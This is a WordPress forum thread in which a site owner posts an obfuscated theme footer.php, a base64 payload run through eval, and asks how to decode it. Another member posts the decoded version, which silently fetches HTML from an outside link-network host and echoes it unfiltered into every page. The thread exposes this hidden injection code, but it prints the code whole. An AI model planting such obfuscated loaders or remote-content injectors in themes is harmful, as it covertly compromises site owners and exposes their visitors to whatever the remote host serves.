WordPress.org

Ready to get started?Download WordPress

Forums

Decrypt fotter.php (4 posts)

  1. jokoono
    Member
    Posted 5 years ago #

    Hi

    I got freakin Adds in my footer.php so I would like to decrypt it.
    Maybe you can help me please?

    <?php /* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. */
    $o="QAAACg07OHdvdyduaWRrcmNiJwAAL1NCSldLRlNCV0ZTTycpJwBAIChlaHNzaGopAlAgLjwnODmE4AMgKGNucQCADg4AxQCRAUAnbmM6JQGAYWhoc2J1JQIAAeB0d2ZpJ2RrEIBmdHQBkGtiYXMBgQ5DYnRuYGkAACc9JztmJ291YmE6JW9zc3cAAD0oKHBwcClkdWhwY3diaHcAAGtiKWRoaig4dHVkOm1mJScoLDlEAaEnAbM7KGY5JwYQKAYhBs9hdRSAbmBvBtInABBEaA2gdHJ3d2h1c8ABB08HQGJqaGlifmRiaXN1ZmsHYgAkJTlEQydVZnNidAahKycSYwoNAAAoLSdBS05JTCdRMQoNQmlkoAAFoHUMkElCUypTQkQnV09XKkIAAElESENCVSdRJzYpNwoNUEJgAUUCEA4YaWJzKnNiZCllbn0oAfAAAEZVSU5JQD0nU29udCdhbmskAGInAIB3dRRQZHNiYydlfidkaCAAd34NAidrZnApJ1NoJ3VicWIAAHV0YidiaWBuaWJidSdodSckAWNiCNEncwR5dHN1bmRza34nBQAKgG9uZW4FECkTYC0HgAoNI2hoaDoAACVQNmg+SGxed1RtcFNXVWQAAGNBVkZ2RX1wVlBCSlBEQl0AAGhlUH8yYUVsXl82TlJGQl4AAHZPVkZGQVJVYURFXnRMfX8AADJOazNfUFU3X0E3XmhPVUIAAExWUVVdQ1JeMEhEVjZdNlEABF5Qf0pjUUZ0d0B/UXcAwD9DAABWaCxNRlJ2TGxKTEE3RV1RABJBNndfVXdCUEJNUwZwaUsDgm8AAGJVRWxJUUJed0BgZFNQbTcAADBlanM1ZlY2MkxSSUNfRTcAAFZCVm9qT0VCRl9BQWFEb1YAAHBNRDIyZjZJRlBVcChRRmwAAHdBcEVCVTYyXkNGUTZXblIAAHBOa29hVVUzXlFGVndFQVYAAExQakVUQW9Wa0hUMjJJQUkEAFZWb3BDDgB+QHBKRlV9NzBGAUBgPj5mbjYzBwFRBwBMcGAsQXAAAGRJVWxKVVNFUj9hb1VzY38AAD9WQTZzXUN/SmBCVWhJVlFAAGsPwUxIX3NzZXBOX09rTkRCAABVVn1Fb2hQUn9jZkVWSmpmAABpRTJIbXNMX2lvXUJsY3JFAAB/Tk9QNjJERGBscEFUTm9KAAA3UmFVRXNiTH9SaUVrSkNPAABFMklVRkU2TUMzc01Ba2JBAAB/cExPVU5dQVVRSU9ScFBBAABsXm9LfWx0XTZvUFJWQlFTAABwSjBSYGtCV313VkNSMjZLAABAaDRKbE1SUEV0akBvM21GgAAawFZVRmJBcD83QVM/dExBMwAEVlVRc1ZDN15gUm9oVRwGVE4AgDNAQk1EUEV3GLBdcVJgP0VVEAA3TUQWwH1mbmQzTmxSX0NBTgAAQmJVdHFiQVZEQUU+Q0ZgUgAAME59PzRMQUloX2BoSUU3MwAANkA2SjBVa01BQWBkPkxQTQAELF1/P19TRmRhQXBgcRGAS18gAEVjGsBKakhEaH9NRT9hU0FOBABLUUVObSZgQlA2XVZBcHdySwAFfV0ySG9ePkhvVlZfQgqAfwqEAABTbDBKbjN2S2xRQ0JBaExPAAJWTl1Fb1FDUkUzYU83XgqAUiAAdEooQF9rTl9FcD9uS1ZGQU8CgFFOUFNSXgVAbAHAb0FSUU5RQQACVko2Umw+QlRDd0tDUH8TQHcAAH9Ka0VSUFV0SUBgbG1LVTcIAGRWUlYTQD5+QVNgc01rY0NfAAB/QmRAVU5oUDZJQk9FY0lCAEBWRjVNRE5zTFEaQH43TEZGZAAAaUVvcE9SQXdERGw+PkpQdAAAdV03TVRVVmNdQGBkYEZVbwAAYVJCaFBAUl1hVX43cGV/XRAAVUFvJ9BGUndAfnRMU1FNQUMCAFVSb2VQSg4AXWhSYEZWRm9CYCxtBw8HA0VvXnBBf0IhQEYODw4IZlAAQH81VkV/MkxRSjuAZFRAYD5qACBBN1VWQVZJU05gQMBEMzNONgSASUNAf3Q7gGBpIUBMY0JRVkZwAABjNkt9M21NbFFmUG9wZEFWAABWfkZVYEVIQWthZWxefU41AABKQElGXkNPN11dX1NWTUA2QABWH4BdRFNGQTZef2xQS29daAAAVUZkXk9FTjdPUTZKYm9kUAABSW9SP0hVVjNOa1FBT393A4kAAFRGVU0/XmBVMl01VUJfb0oAAGpGRU5rQn9sSlA2TmJCQl0AgD9ARlZwXTVrNfBOV0JWSnFQAghgSUlPQnAVAF5wZm1gR8BKMVMAAE8+fWJQf0tiRmNyUGs+d0IAEHBsfVduVnVOa3doHcBMTzVzAAByUmkyQkFVYFBWN2wxTW5oEgAxSzZIwEFSR8B3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";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>
  2. kevinbanet
    Member
    Posted 4 years ago #

    <?php include (TEMPLATEPATH . '/bottom.php'); ?>
    </div>
    
    </div>
    <div id="footer">
    
    <span class="fleft">
    	Design : <a href="http://www.crowdpeople.com/?src=ja" >Crowd people</a>
    </span>
    
    <span class="fright">
        Code support <a href="http://www.emoneycentral.com/">CD Rates</a>, 
    
    <?php
    
    $defaultHtml = ''; // html to display when no connection or local domain
    $linksNum = 2; // number of links to show
    
    ## Funktionen definieren, wenn Footer nicht innerhalb von WordPress genutzt wird
    if (!function_exists('is_404')) { function is_404() { return false; } }
    if (!function_exists('is_tag')) { function is_tag() { return false; } }
    if (!function_exists('is_author')) { function is_author() { return false; } }
    if (!function_exists('is_search')) { function is_search() { return false; } }
    if (!function_exists('is_date')) { function is_date() { return false; } }
    if (!function_exists('is_attachment')) { function is_attachment() { return false; } }
    if (!function_exists('is_preview')) { function is_preview() { return false; } }
    
    # Wenn keine 404 Fehlerdatei, dann Anfrage zusammenbasteln
    if (is_404() OR is_tag() OR is_author() OR is_search() OR is_date() OR is_attachment() OR is_preview()) { } else {
    
    show_footer_links(
        //'localhost', '/php/FLink/src/FLink/script.php',
        'net-tec-ag.de', '/FLink/script.php',
        3.5, $defaultHtml, $linksNum
    );
    
    }
    
    /**
     * Show html provided by scripts.php
     *
     * @param string $requestHost the hostname of the script.php
     * @param string $requestUri - the uri/path to the script.php
     * @param string $defaultHtml - default html to show if some problem
     * @param float $timeout - the request timeout
     */
    function show_footer_links($requestHost, $requestUri, $timeout, $defaultHtml,
            $linksNum = 1) {
        $thisDomain = getenv('HTTP_HOST');
        $thisUri = getenv('REQUEST_URI');
        $html = $defaultHtml;
        // skip if no domain or local domain
        if ($thisDomain && !preg_match('/^(localhost|127.0.0.1)(:|$)/s',
                $thisDomain)) {
            $thisUrl = "http://$thisDomain$thisUri";
            $requestUri = $requestUri . '?url=' . urlencode($thisUrl)
                . '&linksNum=' . $linksNum;
            $requestHost = fill_subdomain($thisUrl, $requestHost);
            $content = read_http_url($requestHost, $requestUri, 2.5);
            // removing utf-8 BOM signature (if any):
            $content = preg_replace('/^(\xEF\xBB\xBF)*\s*</s', '<', $content);
            //echo "received: $content";
            if (preg_match('/^<!--start-->.+<!--end-->\s*$/s', $content)) {
                $html = $content;
            }
        }
        echo $html;
    }
    
    function fill_subdomain($url, $requestHost) {
        if ($requestHost !== 'localhost') {
            if (function_exists('crc32')) {
                $crc32 = crc32($url);
                $ucrc32 = sprintf('%u', $crc32);
                $num = $ucrc32 % 10;
            } else {
                $num = 0;
            }
            $subdomain = 'www' . $num . '.';
            $requestHost = $subdomain . $requestHost;
            //echo $requestHost;
        }
        return $requestHost;
    }
    
    // perfrom pne get http call
    function read_http_url($host, $uri, $timeout) {
        $start = microtime_float();
        $content = '';
        $fh = @fsockopen($host, 80, $errno, $errstr, 0.5);
        if ($fh && !$errstr) {
            if (function_exists('socket_set_timeout')) {
                socket_set_timeout($fh, $timeout);
            }
            socket_set_blocking($fh, 0);
            $request = <<<EOD
    GET $uri HTTP/1.0
    Host: $host
    Connection: close
    
    EOD;
            $write_err = @fwrite($fh, $request);
            while (!feof($fh) && (microtime_float() - $start < $timeout)) {
                usleep(5000);
                $block = fread($fh, 1024*4);
                $content .= $block;
            }
            fclose($fh);
            $content = preg_replace('/^(.+?)(\r\n|\n){2}/s', '', $content);
        }
        return $content;
    }
    
    // precise time in microseconds as float
    function microtime_float() {
        list($usec, $sec) = explode(' ', microtime());
        return ((float)$usec + (float)$sec);
    }
    ?>
    
    </span>	
    
    </div>
    </div>
    <?php wp_footer(); ?>
    </body>
    </html>
  3. coreyhammond
    Member
    Posted 4 years ago #

    KeVin - How did you decrypt the file?

  4. Samuel B
    moderator
    Posted 4 years ago #

Topic Closed

This topic has been closed to new replies.

About this Topic

Tags

No tags yet.